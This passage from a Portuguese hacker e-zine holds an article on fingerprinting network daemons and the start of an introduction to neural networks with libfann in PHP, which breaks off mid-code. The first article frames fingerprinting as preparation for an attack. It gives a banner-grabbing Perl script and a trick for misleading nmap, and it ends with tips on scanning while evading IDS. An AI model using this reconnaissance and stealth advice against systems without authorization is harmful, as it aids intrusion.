=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[09]-=[Daemon Fingerprint]=-|Inferninho|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= --=[ Introducao Sempre que iniciamos um ataque se faz necessario um estudo sobre o alvo, determinando assim brechas em potencial, isso inclui sabermos as versoes dos da- emons que estao rodando no servidor, este texto ira demonstrar alguns metodos de deteccao destes daemons, assim como estudo sobre os metodos utilizados por algu- mas ferramentas disponiveis na internet. --=[ Banner Grabbing Todos os daemons exibem um banner de boas vindas quando recebem uma co- nexao, na verdade nao passa de pura e simplesmente propaganda do produto, e' trivial visualizarmos esse banner, um simples telnet faz isso. Supondo que um atacante queira descobrir qual o daemon de ftp esta rodando numa maquina alvo, ele se conecta na porta correspondente ao ftp e aguarda a exibicao do banner. inferninho@weapon:~$ telnet localhost 21 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 ProFTPD 1.2.9 Server (weapon) [weapon.first.weapon.org] quit 221 Goodbye. Connection closed by foreign host. Como podemos notar se trata de um ProFTPD 1.2.9. Todos os daemons que permitem interagir com o usuario via telnet estao sujeitos a esse tipo de detec- cao, agora vamos ver um esquema que visa puxar o banner do httpd. inferninho@weapon:~$ telnet localhost 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. get index.html HTTP/1.0 HTTP/1.1 400 Bad Request Date: Fri, 10 Dec 2004 19:50:59 GMT Server: Apache/1.3.31 (Unix) PHP/4.3.7 Connection: close Content-Type: text/html; charset=iso-8859-1 Bad Request Your browser sent a request that this server could not understand. The request line contained invalid characters following the protocol string. ---------------------------------------------------------------------- Apache/1.3.31 Server at weapon.first.weapon.org Port 80 Connection closed by foreign host. Nesse caso simplesmente enviamos um get index.html HTTP/1.0 e foi retor- nado na linha denominada "Server:" a versao do daemon httpd Apache/1.3.31 (Unix) PHP/4.37 alem de podermos notar que o servidor esta rodando num sistema unix e com suporte a PHP. Podemos automatizar todo o processo atraves do uso de ferramentas. - NMAP que pode ser encontrado em http://www.insecure.org/nmap - AMAP da THC http://www.thc.org - TMAP inferninho@weapon:~$ cat tmap.pl <++> tmap.pl #!usr/bin/perl # TMAP (Tosco MAP?)-> Realiza Banner Grabbing # coded by Inferninho ### use IO::Socket; $ARGC=@ARGV; if($ARGC<2) { print "Usage: perl $0 host porta\n\n"; exit; } my ($HOST)=$ARGV[0]; my ($PORT)=$ARGV[1]; my (@res,@ref); my $res; my $pagina="/index.html"; my $socket = IO::Socket::INET->new( PeerAddr => "$HOST", PeerPort => "$PORT", Prot => "tcp" ); die "Nao foi possivel criar a socket\n" unless $socket; if ($PORT eq "80") { &http } elsif ($PORT eq "8080") { &http } else { &outros } sub http { if ($socket) { print $socket "GET $pagina HTTP/1.0\n\n" or die "erro"; } @res=<$socket>; @ref=grep/Server/,@res; print "\nDaemon em $HOST porta $PORT:\n\n"; print "@ref\n"; close ($socket); exit; } sub outros { if ($socket) { print $socket "quit\n" or die "erro"; } $res=<$socket>; print "\nDaemon em $HOST porta $PORT:\n\n"; print "$res\n"; close ($socket); exit; } <--> tmap.pl --=[ Deteccao de Banners Alterados Algumas vezes o banner pode ter sido alterado, ocorrendo o que se co- nhece como seguranca por obscuridade, vemos um exemplo muito claro disso logo abaixo. inferninho@weapon:~$ telnet localhost 21 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 Specter-FTPd 2.1 quit 221 Goodbye. Connection closed by foreign host. Nao conheco nenhum daemon de ftp chamado Specter-FTPd, fica evidente que esse banner foi alterado, a tecnica de banner grabbing vai por agua abaixo nesse caso, mas se comecarmos a comparar alguns daemons veremos que cada um possui al- gumas caracteristicas peculiares, isso mesmo, ja que o daemon nos permite inte- ragir com ele, vamos abusar desse recurso, vamos analisar dois daemons diferen- tes de ftp agora. inferninho@weapon:~$ telnet localhost 21 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 ProFTPD 1.2.9 Server (weapon) [weapon.first.weapon.org] help 214-The following commands are recognized (* =>'s unimplemented). USER PASS ACCT* CWD XCWD CDUP XCUP SMNT* QUIT REIN* PORT PASV EPRT EPSV TYPE STRU MODE RETR STOR STOU APPE ALLO* REST RNFR RNTO ABOR DELE MDTM RMD XRMD MKD XMKD PWD XPWD SIZE LIST NLST SITE SYST STAT HELP NOOP FEAT OPTS ADAT* AUTH* CCC* CONF* ENC* MIC* PBSZ* PROT* 214 Direct comments to root@localhost. quit 221 Goodbye. Connection closed by foreign host. Ao conectarmos rebemos logo de cara a versao do servidor de ftp, trata- se de um ProFTPD 1.2.9, em seguida enviamos um help para vizualizacao do menu de ajuda edepois um quit. Abaixo outro exemplo agora num Pure-FTPd. inferninho@weapon:~$ telnet localhost 21 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220---------- Welcome to Pure-FTPd [TLS] ---------- 220-You are user number 3 of 50 allowed. 220-Local time is now 16:19. Server port: 21. 220-This is a private system - No anonymous login 220 You will be disconnected after 15 minutes of inactivity. help 214-The following SITE commands are recognized ALIAS CHMOD IDLE 214 Pure-FTPd - http://pureftpd.org/ quit 221-Goodbye. You uploaded 0 and downloaded 0 kbytes. 221 Logout. Connection closed by foreign host. Se observamos o menu de ajuda e a mensagem de saida dos dois daemons iremos notar algumas diferencas, comparem como os daemons reagem apos recebe- rem os comandos "help" e "quit". Agora se fizermos o mesmo com o nosso Specter- FTPd, teremos: inferninho@weapon:~$ telnet localhost 21 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 Specter-FTPd help 214-The following commands are recognized (* =>'s unimplemented). USER PASS ACCT* CWD XCWD CDUP XCUP SMNT* QUIT REIN* PORT PASV EPRT EPSV TYPE STRU MODE RETR STOR STOU APPE ALLO* REST RNFR RNTO ABOR DELE MDTM RMD XRMD MKD XMKD PWD XPWD SIZE LIST NLST SITE SYST STAT HELP NOOP FEAT OPTS ADAT* AUTH* CCC* CONF* ENC* MIC* PBSZ* PROT* 214 Direct comments to root@localhost. quit 221 Goodbye. Connection closed by foreign host. Muito bem, se tivermos que dar um "palpite" ao compararmos a saida do Specter-FTPd com a do ProFTPD e Pure-FTPd, fica realmente obvio que o daemon com banner alterado e um ProFTPD. Alguns podem estar se perguntando, algo como: Mas todos daemons tem saida diferentes? A resposta e' sim, podemos notar diferencas mesmo num mesmo daemon em versoes diferentes. Para ficar mais visivel ainda vou colocar duas saidas referentes ao Exim e ao Sendmail. inferninho@weapon:~$ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220-linux.meudns.org ESMTP Exim 4.43 #1 Fri, 10 Dec 2004 18:23:53 -0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail. help 214-Commands supported: 214 AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP quit 221 weapon.fisrt.weapon.org closing connection Connection closed by foreign host. inferninho@weapon:~$ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 weapon.first.weapon.org ESMTP Sendmail 8.12.11/8.12.11; Fri, 10 Dec 2004 20:46:10 GMT help 214-2.0.0 This is sendmail version 8.12.11 214-2.0.0 Topics: 214-2.0.0 HELO EHLO MAIL RCPT DATA 214-2.0.0 RSET NOOP QUIT HELP VRFY 214-2.0.0 EXPN VERB ETRN DSN AUTH 214-2.0.0 STARTTLS 214-2.0.0 For more info use "HELP ". 214-2.0.0 To report bugs in the implementation send email to 214-2.0.0 sendmail-bugs@sendmail.org. 214-2.0.0 For local information send email to Postmaster at your site. 214 2.0.0 End of HELP info quit 221 2.0.0 weapon.first.weapon.org closing connection Connection closed by foreign host. Nesse caso a diferenca eh realmente gritante, mesmo que os banner fossem alterados, o menu de ajuda e mensagem de saida continuam inalterados e nos per- mite identificar o daemon por meio de comparacoes. --=[ Estudo de Caso - NMAP X AMAP X TMAP Na verdade vou centralizar esse topico no nmap uma vez que este e' mais completo que o amap e o tmap, os dois ultimos sao facilmente ludibriados e ainda precisam de algumas implementacoes. inferninho@weapon:~$ perl tmap.pl localhost 21 Daemon em localhost porta 21: 220 Specter-FTPd inferninho@weapon:~$ amap localhost -B 21 amap v4.7 (www.thc.org) started at 2004-12-10 21:20:40 - BANNER GRAB mode Banner on 127.0.0.1:21/tcp : 220 Specter-FTPd\r\n amap v4.7 finished at 2004-12-10 21:20:40 Como podemos ver os dois engolem facilmente o Specter-FTPd e o imprime na tela como uma informacao correta. Isso ocorre por que os dois apenas lancam na tela a primeira informacao que recebem, sem averiguar sua veracidade. Apesar do amap ter outras funcoes alem do banner grabbing o tmap e' mais completo nesse quesito, isso se levarmos em conta que o amap sequer tem implementacao para detectar daemons de httpd. inferninho@weapon:~$ amap localhost -B 80 amap v4.7 (www.thc.org) started at 2004-12-10 21:27:32 - BANNER GRAB mode amap v4.7 finished at 2004-12-10 21:27:38 A saida dele fica em branco, ja no tmap: inferninho@weapon:~$ perl tmap.pl localhost 80 Daemon em localhost porta 80: Server: Apache/1.3.31 (Unix) PHP/4.3.7 Apache/1.3.31 Server at weapon.first.weapon.org Port 80 O nmap faz uma implementacao diferente, ao receber o banner ele confere com um banco de dados (/usr/share/nmap/nmap-service-probes) caso a comparacao seja verdadeira ele imprime a versao do daemon como verdadeira, caso a compa- racao nao confira com nenhuma das assinaturas de banners contidas no banco de dados, ele faz outra implementacao simplesmente enviando um comando "help". Podemos observar isso vendo a saida do tcpdump. Saida do tcpdump caso a primeira comparacao seja verdadeira. root@weapon:/home/inferninho# tcpdump tcpdump: WARNING: Promiscuous mode not supported on the "any" device tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on any, link-type LINUX_SLL (Linux cooked), capture size 96 bytes 22:13:46.583168 IP localhost > localhost: icmp 8: echo request seq 63418 22:13:46.583213 IP localhost > localhost: icmp 8: echo reply seq 63418 [......] Varias Linhas [......] 22:13:51.148052 IP localhost.ftp > localhost.35437: S 1378107143:1378107143(0) ack 3500700108 win 32767 22:13:51.148061 IP localhost.35437 > localhost.ftp: R 3500700108:3500700108(0) win 0 53 packets captured 106 packets received by filter 0 packets dropped by kernel -------- Saida do tcpdump caso a primeira comparacao seja falsa. root@weapon:/home/inferninho# tcpdump tcpdump: WARNING: Promiscuous mode not supported on the "any" device tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on any, link-type LINUX_SLL (Linux cooked), capture size 96 bytes 22:08:21.238284 IP localhost > localhost: icmp 8: echo request seq 58344 22:08:21.238334 IP localhost > localhost: icmp 8: echo reply seq 58344 22:08:21.238697 IP localhost.41564 > localhost.http: . ack 2017081566 win 2048 22:08:21.238735 IP localhost.http > localhost.41564: R 2017081566:2017081566(0) win 0 [......] Varias Linhas [......] 22:08:40.768255 IP localhost.41545 > localhost.ftp: R 3825271309:3825271309(0) win 0 22:08:40.888108 IP localhost.41546 > localhost.ftp: S 3825271309:3825271309(0) win 2048 22:08:40.888170 IP localhost.ftp > localhost.41546: S 1063640235:1063640235(0) ack 3825271310 win 32767 22:08:40.888191 IP localhost.41546 > localhost.ftp: R 3825271310:3825271310(0) win 0 72 packets captured 144 packets received by filter 0 packets dropped by kernel A diferenca na quantidade de envio de pacotes fica exposta nesse momen- to, assim podemos afirmar que o nmap age diferente dependendo do caso. Ao con- trario do que se afirma por ai ele nao faz nenhuma comparacao por meio de res- postas de pacotes para descobrir a versao do daemon, vamos ter mais provas disso logo a seguir. Ah, esse icmp 8: echo request na saida do tcpdump e para o os- fingerprint mas ai eh outra historia. root@weapon:/home/inferninho# nmap -A localhost -p 21 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-12-10 21:41 UTC Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port Interesting ports on localhost (127.0.0.1): PORT STATE SERVICE VERSION 21/tcp open ftp 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/serv icefp-submit.cgi : SF-Port21-TCP:V=3.50%D=12/10%Time=41BA1818%P=i486-slackware-linux-gnu%r(NU SF:LL,12,"220\x20Specter-FTPd\r\n")%r(GenericLines,12,"220\x20Specter-FTPd SF:\r\n")%r(Help,232,"220\x20Specter-FTPd\r\n214-The\x20following\x20comma SF:nds\x20are\x20recognized\x20\(\*\x20=>'s\x20unimplemented\)\.\r\n\x20US SF:ER\x20\x20\x20\x20PASS\x20\x20\x20\x20ACCT\*\x20\x20\x20CWD\x20\x20\x20 SF:\x20\x20XCWD\x20\x20\x20\x20CDUP\x20\x20\x20\x20XCUP\x20\x20\x20\x20SMN SF:T\*\x20\x20\x20\r\n\x20QUIT\x20\x20\x20\x20REIN\*\x20\x20\x20PORT\x20\x SF:20\x20\x20PASV\x20\x20\x20\x20EPRT\x20\x20\x20\x20EPSV\x20\x20\x20\x20T SF:YPE\x20\x20\x20\x20STRU\x20\x20\x20\x20\r\n\x20MODE\x20\x20\x20\x20RETR SF:\x20\x20\x20\x20STOR\x20\x20\x20\x20STOU\x20\x20\x20\x20APPE\x20\x20\x2 SF:0\x20ALLO\*\x20\x20\x20REST\x20\x20\x20\x20RNFR\x20\x20\x20\x20\r\n\x20 SF:RNTO\x20\x20\x20\x20ABOR\x20\x20\x20\x20DELE\x20\x20\x20\x20MDTM\x20\x2 SF:0\x20\x20RMD\x20\x20\x20\x20\x20XRMD\x20\x20\x20\x20MKD\x20\x20\x20\x20 SF:\x20XMKD\x20\x20\x20\x20\r\n\x20PWD\x20\x20\x20\x20\x20XPWD\x20\x20\x20 SF:\x20SIZE\x20\x20\x20\x20LIST\x20\x20\x20\x20NLST\x20\x20\x20\x20SITE\x2 SF:0\x20\x20\x20SYST\x20\x20\x20\x20STAT\x20\x20\x20\x20\r\n\x20HELP\x20\x SF:20\x20\x20NOOP\x20\x20\x20\x20FEAT\x20\x20\x20\x20OPTS\x20\x20\x20\x20A SF:DAT\*\x20\x20\x20AUTH\*\x20\x20\x20CCC\*\x20\x20\x20\x20CONF\*\x20\x20\ SF:x20\r\n\x20ENC\*\x20\x20\x20\x20MIC\*\x20\x20\x20\x20PBSZ\*\x20\x20\x20 SF:PROT\*\x20\x20\x20\r\n214\x20Direct\x20comments\x20to\x20root@localhost SF:\.\r\n"); Device type: general purpose Running: Linux 2.4.X|2.5.X OS details: Linux Kernel 2.4.0 - 2.5.20 Uptime 0.134 days (since Fri Dec 10 18:29:19 2004) Nmap run completed -- 1 IP address (1 host up) scanned in 20.050 seconds O nmap confere o banco de dados como nao acha nenhuma saida do Spect- er-FTPd, ele tenta comparar o help e acusaria um ProFTPD 1.2.9, mas o banco de assinatura dele esta incorreto ai a informacao nao bate e ele imprime na tela a saida do help, como podemos conferir observando os trechos em detaque, e pede para enviarmos para o site da insecure.org, provavelmente para implementacoes futuras. Se realmente ele verificasse a respostas de pacotes ao inves do banner e do menu de help, ele pediria para enviar tal pacote e nao o help do daemon. Uma vez que o nmap nao faz essa segunda verificacao todas as vezes, fazendo apenas quando a primeira falha, podemos ludibria-lo colocando um banner valido de outro daemon: se mudarmos o ServerIdent do /etc/proftpd.conf para: ServerIdent on "---------- Welcome to Pure-FTPd [TLS] ----------" Olha o que ocorre com o nmap: root@weapon:# nmap -A localhost -p 21 Interesting ports on localhost (127.0.0.1): PORT STATE SERVICE VERSION 21/tcp open ftp PureFTPd Caso ele enviasse algum pacote e comparasse a resposta como no caso do os-fingerprint com certeza ele nao faria tal afirmacao erronea. O banco de dados com a lista de assinaturas dos daemons encontra-se em: /usr/share/nmap/nmap-se rvice-probes --=[ Conclusao Agora que voce ja sabe como descobrir o que de fato roda naquela porta, faco eu algumas recomendacoes, mesmo que o nmap seja fodao, quer dizer, nem tan- to, evite o uso deles em redes com IDS, a nao ser que voce saiba usar as opcoes corretas dele para fazer um slow scan e mais alguns truques, pois ate o Tabaja- raIDS consegue logar nmap com as regras mais simples. A melhor forma para ma- pear a rede sem ser percebido e ir fazendo tudo manualmente, conectando apenas em portas que realmente rodem algo, se der telnet na porta 1 por exemplo, e mui- to provavel que voce fique logado, entao escolha bem as portas fazendo conexoes legitimas, e de um intervalo em cada tentativa, va tomar um cafe, conversar com a namorada, e volte, nunca se afobe mais que o necessario. _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[10]-=[RNA: Uma Breve Introducao - Parte 1 ]=-|tDs|=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= --=[ Introducao --=--=[ Neuronios Neuronios sao as principais celulas do sistema nervoso central, sendo composto por corpo celular (soma), dendritos, axonio e telodendro. O axonio, que e' unico por neuronio, e' o responsavel por levar sinais nervosos para fora do neuronio. Dendritos formam uma rede para recebimento de informacoes advindas do exterior do neuronio, ou seja, vindo de outros neuronios. Neuronios normais (todos sao) possuem diversos dendritos. A comunicacao entre os neuronios se da atraves de ligacoes chamadas de sinapses, que resumidamente e' uma ligacao entre dois neuronios, a qual e' feita entre o axonio de um neuronio e um dendrito ou a soma de um outro neuronio, po- dendo ocorrer tambem a ligacao entre dois axonios, embora isso seja menos comum. As sinapses sao tambem responsaveis pela comunicacao entre neuronios e outras celulas nao neurais, como por exemplo musculos ou glandulas. Neuronios do cortex cerebral nos mamiferos (citado agora somente como cortex) podem possuir algo em torno de 1000 dendritos cada, possibilitando co- nexao com dezenas de milhares de outras celulas. Entao, nao e' surpresa saber que o cortex esta envolvido nas atividades cerebrais mais complexas, tais como consciencia, linguagem, consciencia perceptual (voce sabe que esta percebendo) e pensamento. O cortex recebe informacoes sensoriais de diversas partes do corpo, tais como maos ou patas, olhos e ouvidos. As informacoes sao entao processadas por neuronios, que dependendo do que foi recebido ira enviar outras informacoes para outros neuronios, formando um ciclo interminavel ( ok, a morte existe ). Neuronios basicamente trabalham com entrada e saida de sinais. Ao rece- ber um sinal de entrada, atraves de um dendrito, ele verifica se este sinal al- canca seu valor de ativacao. No caso positivo, o neuronio ira estimular a saida de sinal atraves de seu axonio (este axonio que, como citado anteriormente, esta ligado em dendritos de um outro neuronio). Caso contrario, a saida sera inibida. --=--=[ Neuronios Artificiais Assim como os neuronios biologicos, os neuronios artificiais, principais componentes de uma rede neural articial, basicamente trabalham com entrada e sa- ida de informacoes. Atraves dos dendritos as entradas chegam ao neuronio, tendo pesos atribuidos pelas sinapses. A soma das entradas combinadas com os pesos produz uma saida efetiva, a qual sera processada pela funcao de ativacao do neu- ronio. A funcao de ativacao ira ou nao ativar a saida do neuronio finalmente. Podemos abservar na Fig. 1 uma descricao de um neuronio artificial e suas partes. ............................................................. + + | | | w1 | | X1 ............. |'''''''''''''+ | | w2 \ | |t | | X2 ============{ E }=======+ f(a) |========> y | | w3 / | | | | Xn ............/ +.............+ | | | | | | X1, X2 e Xn: | | Dendritos (entradas) | | w1, w2 e w3: | | Pesos (os pesos podem ser comparados com | | neurotransmissores em um neuronio biologico) | | E: | | Soma ponderada do produto das entradas | | pelos pesos ( E = X1w1 + X2w2 ... + Xnwn ) | | f(a): | | Funcao de ativacao do neuronio | | t: | | Limite de ativacao (threshold) | | y: | | Axonio (saida) | | Fig. 01 | +.............................................................+ --=[ Redes de Neuronios Um conjunto de neuronios artificiais interconectados forma a base de uma rede neural artificial. Redes neurais artificiais (chamada agora apenas de RNA), usam modelos matematicos para processamento de informacoes, baseados em uma tipo especifico de conexionismo, voltado a computacao (conexionismo pode ser visto como um conjunto de unidades simples interconectadas, no caso de RNAs, essas unidades simples sao os neuronios). Redes neurais podem e sao utilizadas para diversos fins, entre os quais, reconhecimento de voz, reconhecimento otico de caracteres (OCR), previsoes, re- conhecimento de padroes, classificacao de dados, entre outros. Existem diversas classes de RNAs entre os quais: - Feedforward neural networks - Recurrent network - Stochastic neural networks - Modular neural networks Em cada classe de RNA existem diversos tipos de redes, as mais populares sao: - Adaptive Linear Neuron / Adaptive Linear Element (ADALINE) - Multiple Adaptive Linear Neuron (MADALINE) - Radial Basis Function (RBF) - Kohonen self-organizing network - Hopfield network - Single Layer Perceptron - Multi Layer Perceptron (MLP) As redes neurais funcionam com base em treinamentos, ou seja, nao basta apenas construir uma RNA e colocar ela, por exemplo, para classificar padroes. Ela antes precisa conhecer esses padroes atraves de um treinamento previo. Ha varios metodos de treinamento, entre eles: - Decision Tree - Nearest Neighbor - Boosting - Bayesian inference - Naive Bayes classifier - Clustering - Backpropagation Nota-se que RNAs nao sao exatamente complexas, mas sim uma area muito vasta, com muita informacao, nao sendo muito facil ter conhecimento sobre tudo que possa estar envolvido no desenvolvimento de todos os tipos de redes de todas as classes, utilizando diversos metodos de treinamento. Vamos entao nos concen- trar em uma classe especifica de RNA, a feedforward neural network. Nesta clas- se, ficaremos no tipo de rede conhecido como multi layer perceptron (mlp) e po- demos (e vamos) utilizar backpropagation como metodo de treinamento. --=--=[ Feedforward Neural Networks RNAs sao formadas por layers (camadas) de neuronios, normalmente tendo uma layer na entrada, uma outra na saida e uma layer oculta (hidden layer). Em uma feedforward neural network (FFNet) cada neuronio (chamado agora de unit) de uma layer esta conectado com cada outra unit de uma outra layer (posterior ou anterior a esta layer). A informacao entra na rede atraves da layer de entrada, passando por cada outra layer ate chegar a saida. Durante a operacao normal da rede, nao existe feedback - retorno - de uma layer para a sua layer anterior. Dai surge o nome de feedforward neural network. --=--=[ Perceptron Um perceptron e' um tipo de RNA que consiste de uma ou mais layers de units. As entradas sao entregues diretamente as saidas, via uma serie de pesos usados para calculo de ativacao. As layers nao dao feedback para outras layers, sendo assim este um tipo de FFNet. Vamos a um exemplo ilustrativo de como funci- ona um perceptron. Na Figura 2 temos no perceptron os pesos de cada entrada pre- viamente calculados atraves de um treino com padroes ja conhecidos. Nas entradas temos os valores que queremos a classificacao do padrao. O valor minimo de ati- vacao e'de 0,4. Desta forma temos na entrada E o seguinte: E = ((5x0,3) + (9x0,6) + (2x0,4)) / (5+9+2) .-. E = 0,48125 Para que a saida seja ativada, a entrada deve ser maior ou igual a t (0,4). Como neste caso o valor e' maior, a saida sera ativada. ............................................................... + + | | | w1=0,3 | | X1=5 ............. |'''''''''''''+ | | w2=0,6 \ | |t=0,4 | | X2=9 ============{ E }=======+ |========> y | | w3=0,4 / | | | | X3=2 ............/ +.............+ | | | | | | Fig. 02 | +...............................................................+ --=--=[ Multi Layer Perceptron com Aprendizado por Backpropagation Multi layer perceptron (MLP) e' o tipo de RNA mais utilizado. Consiste de uma layer de entrada, que contem uma quantidade de units igual a quantidade de variaveis que um problema possa ter (ficara claro no exemplo que vem a seguir o que isso significa), uma layer de saida, que sera o local por onde a "respos- ta" do problema sera mostrada. A layer de saida normalmente contem uma unit ape- nas. As layers entre a de entrada e a de saida sao as chamadas hidden layers. Problemas que podem ser resolvidos por um perceptron, podem ser feitos de tal forma que a utilizacao de apenas uma hidden layer resolva, entretanto o percep- tron algumas vezes se comporta melhor com o uso de duas hidden layers. Backpropagation e' um algoritimo de aprendizado utilizado em FFNets com uma ou mais layers entre a entrada e a saida da rede (por isso pode e e' muito utilizado em multi layer perceptron). Uma rede MLP ao ser iniciada contem pesos aleatorios (entre 0 e 1) nas entradas e um valor que e' esperado na saida. Apos os dados serem apresentados 'a entrada e a saida ter sido calculada, uma compa- racao entre esta saida calculada e a saida desejada, o erro e' calculado e pro- pagado por toda a rede, da saida para a entrada (back propagation) para que os pesos possam ser entao recalculados. Este procedimento e' repetido ate que a rede chegue em um nivel de erro aceitavel para a funcao que ira desempenhar. --=[ LIBFANN - Fast Artificial Neural Network Podemos ver um exemplo simples de uso de uma RNA para classificar in- formacoes. Este primeiro exemplo sera para uma breve introducao na utilizacao da FANN, que e' uma lib que implementa rede multi layer e utiliza backpropaga- tion para o treinamento. Os exemplos serao feitos utilizando a linguagem PHP, embora a lib possa ser utilizanda em programas escritos em C, Python, Ruby, Octave e algumas outras. E' necessario entao instalar a libfann e criar o modulo que sera utili- zado nos scripts php (supondo que ja tenha o interpretador php instalado, pois isso nao sera coberto). Faca o download da libfann [1] e da fannphp [2] (as versoes utilizadas foram 1.2.0 (libfann) e 0.1.0 (fannphp). Apos isso, a insta- lacao da libfann se da' da seguinte forma: $ tar xjvf fann-1.2.0.tar.bz2 $ cd fann-1.2.0 $ ./configure $ make # make install E a criacao do modulo php: $ tar xjvf fannphp-0.1.0.tar.bz2 $ cd ext/fann/ $ phpize $ ./configure $ make Apos isso, um arquivo chamado "fann.so" sera criado no diretorio "modules/": $ ls modules/fann.so modules/fann.so* Este modulo sera utilizado por todos os scripts php que utilizem alguma RNA. --=[ Classificacao de Informacao e Reconhecimento de Padroes A tabela a seguir (Tab. 1) contem informacoes que foram adquiridas em uma pesquisa de rua, na qual foram consultadas pessoas que acessam regularmente a internet. Foi questionado o seguinte, como pode ser observado: - Nome da pessoa consultada; - Sexo da pessoa; - Idade da pessoa; - Se tem ou nao filhos e, caso tenha, quantos; - Faz compras via internet ( 1 = sim, 0 = nao ) .______________.______._______.________.___________________. | Nome | Sexo | Idade | Filhos | Compra pela web ? | +--------------+------+-------+--------+-------------------+ | Jose | M | 32 | 1 | 1 | | Maria | F | 22 | 0 | 0 | | Joana | F | 25 | 0 | 0 | | Joao | M | 35 | 0 | 1 | | Lucia | F | 24 | 1 | 1 | | Marina | F | 21 | 0 | 0 | | Joseane | F | 22 | 0 | 0 | | Carlos | M | 40 | 2 | 1 | | Mariano | M | 33 | 3 | 1 | | Claudia | F | 23 | 0 | 0 | | Francine | F | 26 | 0 | 0 | | Marlon | M | 36 | 1 | 1 | | Tatiane | F | 25 | 1 | 1 | | Jaqueline | F | 22 | 0 | 0 | | Raquel | F | 21 | 0 | 0 | | Mustafa | M | 41 | 2 | 1 | '--------------'------'-------'--------'-------------------' Tab. 1: Pesquisa de rua De posse dessa informacao, uma loja que efetua vendas via internet, que passaremos a chamar apenas de "Loja", gostaria de buscar por algo em comum entre as pessoas que normalmente compram via internet. A Loja possui um outro banco de dados (Tab. 2) com informacoes de outras pessoas, as quais ela nao sabe se cos- tumam ou nao efetuar compras em lojas eletronicas, e gostaria de convida-las para uma visita ao site. Entretanto, ela nao pretende incomodar as pessoas que supostamente nao iriam comprar, e nao acha interessante, por qualquer motivo, enviar emails a estas pessoas (que nao iriam comprar). Politica de minimizacao de spam adotada pela empresa. Para que pessoas da lista a Loja deve enviar o email? .______________.______._______.________. | Nome | Sexo | Idade | Filhos | +--------------+------+-------+--------+ | Ivan | M | 30 | 1 | | Juliana | F | 20 | 0 | | Maristela | F | 22 | 0 | | Claudionor | M | 37 | 0 | | Marcia | F | 25 | 1 | | Sabrina | F | 21 | 0 | '--------------'------'-------'--------' Tab. 2: Dados para classificacao De posse dessa informacao, podemos organizar os dados para a construcao e treino da rede. - Numero de units na layer de entrada: Baseado na quantidade de variaveis ( sexo, idade e filhos ). Utilizaremos entao 3 units. - Hidden layer: Apenas uma. - Numero de units na hidden layer: 6 - Numero de units na layer de saida: 1 ( a saida ira indicar se a pessoa entra no padrao de quem compra pela internet ou de quem nao compra ) - Dados para treino da rede: O conteudo da Tab. 1 - Dados para serem classificados: O conteudo da Tab. 2 Resumidamente, o que a rede ira fazer e' verificar em qual classe as pessoas da Tab. 2 se encaixam: Classe das pessoas que compram pela internet e classe das pessoas que nao compram pela internet. Vamos ao codigo: <++> php_rna/peopleClass.php */ /* modulo que foi criado anteriormente */ dl('fann.so'); /* * Aqui temos um array com informacoes sobre * as pessoas da Tab. 1, as quais serao utilizadas para treino * da rede. Sexo sera definido como 'M' = 0 e 'F' = 1 */ $dados = array ( array ( 'sexo' => 'M', 'idade' => 32, 'filhos' => 1, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 22, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'F', 'idade' => 25, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'M', 'idade' => 35, 'filhos' => 0, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 24, 'filhos' => 1, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 21, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'F', 'idade' => 22, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'M', 'idade' => 40, 'filhos' => 2, 'saida' => 1 ), array ( 'sexo' => 'M', 'idade' => 33, 'filhos' => 3, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 23, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'F', 'idade' => 26, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'M', 'idade' => 36, 'filhos' => 1, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 25, 'filhos' => 1, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 22, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'F', 'idade' => 21, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'M', 'idade' => 41, 'filhos' => 2, 'saida' => 1 ) ); /** * Aqui a rede sera criada * Em tipo de conexao podemos utilizar 1.0 ou 0.5, que indica que a * rede sera totalmente conectada ou indica que a rede tera somente * metade das conexoes efetuadas. * informacoes detalhadas sobre a funcao podem ser encontradas em [3] */ $rede = fann_create ( array(3, 6, 1), // units: 3/entrada, 6/hidden e 1/saida 1.0, // tipo de conexao 0.7 // taxa de aprendizagem ); /* * E' feita a leitura de cada pessoa e a informacao e' colocada de * forma que a funcao possa entender e entao e' jogado na rede para * treinamento 